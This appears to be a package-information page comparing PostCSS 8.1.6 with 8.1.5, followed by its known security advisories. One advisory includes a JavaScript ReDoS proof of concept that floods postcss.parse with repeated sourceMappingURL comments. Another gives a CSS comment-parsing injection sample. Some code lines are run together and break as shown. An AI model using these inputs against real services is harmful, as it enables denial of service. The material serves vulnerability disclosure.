PostCSS version 8.1.6 introduces subtle improvements over its predecessor, version 8.1.5, while maintaining its core functionality as a powerful tool for transforming styles with JavaScript plugins. Both versions share identical dependencies, including nanoid for generating unique IDs, colorette for colorful terminal output, source-map for debugging, and line-column for precise error reporting. This indicates a focus on stability and refinement rather than a significant overhaul of the underlying architecture. The license remains MIT, ensuring broad usability across various projects. Andrey Sitnik continues to be the author.
The key difference lies in the details of the distribution package. While both versions have 48 files, version 8.1.6 exhibits a slightly larger unpacked size of 197211 bytes compared to 8.1.5's 197158 bytes. This suggests minor code adjustments, bug fixes, or performance optimizations within the library. The release date also differentiates the versions, with 8.1.6 being released shortly after 8.1.5. Developers should note this subtle update as a potential improvement to stability or performance. Given the minimal changes and shared dependencies, upgrading is likely a low-risk proposition with the potential for a slightly improved development experience when working with style transformations. Both versions benefit from the project's ongoing funding via Open Collective, ensuring continued maintenance and development.
All the vulnerabilities related to the version 8.1.6 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.